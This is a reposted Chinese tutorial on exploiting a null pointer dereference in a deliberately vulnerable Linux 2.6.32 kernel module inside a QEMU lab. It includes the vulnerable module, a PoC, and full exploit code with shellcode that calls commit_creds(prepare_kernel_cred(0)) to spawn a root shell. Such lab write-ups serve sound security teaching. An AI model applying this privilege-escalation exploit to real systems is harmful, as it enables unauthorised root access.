NULL Pointer Dereference(转)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NULL Pointer Dereference(转)相关的知识,希望对你有一定的参考价值。

0x00 漏洞代码

null_dereference.c:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

void (*my_funptr)(void);

int bug1_write(struct file *file, const char *buf, unsigned long len)
{
    my_funptr();
    return len;
}

static int __init null_dereference_init(void)
{
    printk(KERN_ALERT "null_dereference driver init!\\n");
    create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
    return 0;
}

static void __exit null_dereference_exit(void)
{
    printk(KERN_ALERT "null_dereference driver exit\\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);

可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。

Makefile:

obj-m := null_dereference.o  
KERNELDR := /home/moon/Desktop/linux-kernel/linux-2.6.32.1/  
PWD := $(shell pwd)  
modules:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

将漏洞代码在本地编译(make)之后,将null_dereference.ko文件放到busybox-1.27.2/_install/usr/目录中。

0x01 PoC

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\\xe9\\xea\\xbe\\xad\\x0b"; // jmp 0xbadbeef

int main()
{
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "fanrong", 7); // 调用bug1的write函数
    return 0;
}

编译:

$ gcc -static poc.c -o poc

将poc也放到busybox的usr目录中。

再在busybox的_install目录中执行:

$ find . | cpio -o --format=newc > ../rootfs.img

qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:

(qemu) gdbserver tcp::1234

在本地linux-2.6.32.1目录中用gdb去连接:

$ gdb vmlinux
(gdb) target remote :1234
Remote debugging using :1234
default_idle() at arch/x86/kernel/process.c:311
311            current_thread_info()->status |= TS_POLLING;
(gdb) b *0x0
(gdb) c
Continuing.

在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。

这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:

可以看到如果继续执行就会执行我们的payload。

0x02 exploit

1.思路:给当前进程赋予root权限

commit_creds(prepare_kernel_cred(0));

在qemu中获取commit_creds和prepare_kernel_cred地址:

2.编写shellcode    

xor %eax, %eax
call 0xc10680d0
call 0xc1067f30
ret

编译shellcode,并获取其机器码,得到shellcode:

shellcode = "\\x31\\xc0\\xe8\\xc9\\x80\\x06\\xc1\\xe8\\x24\\x7f\\x06\\xc1\\xc3"

现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。

exp.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\\x31\\xc0\\xe8\\xc9\\x80\\x06\\xc1\\xe8\\x24\\x7f\\x06\\xc1\\xc3";

int main()
{
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "fanrong", 7);
    system("/bin/sh"); // get root shell
    return 0;
}

将exp.c编译,将exp复制到busybox的_install目录下的usr目录中,再启动qemu,运行exp.

成功拿到root shell.                                                                                                    。

以上是关于NULL Pointer Dereference(转)的主要内容,如果未能解决你的问题,请参考以下文章

C语言常见问题:Called function pointer is null (null dereference)

C语言常见问题:Called function pointer is null (null dereference)

golang panic: runtime error: invalid memory address or nil pointer dereference [

go连接mysql测试时报panic: runtime error: invalid memory address or nil pointer dereference

go连接mysql测试时报panic: runtime error: invalid memory address or nil pointer dereference

coverity&fortify2--Null Dereference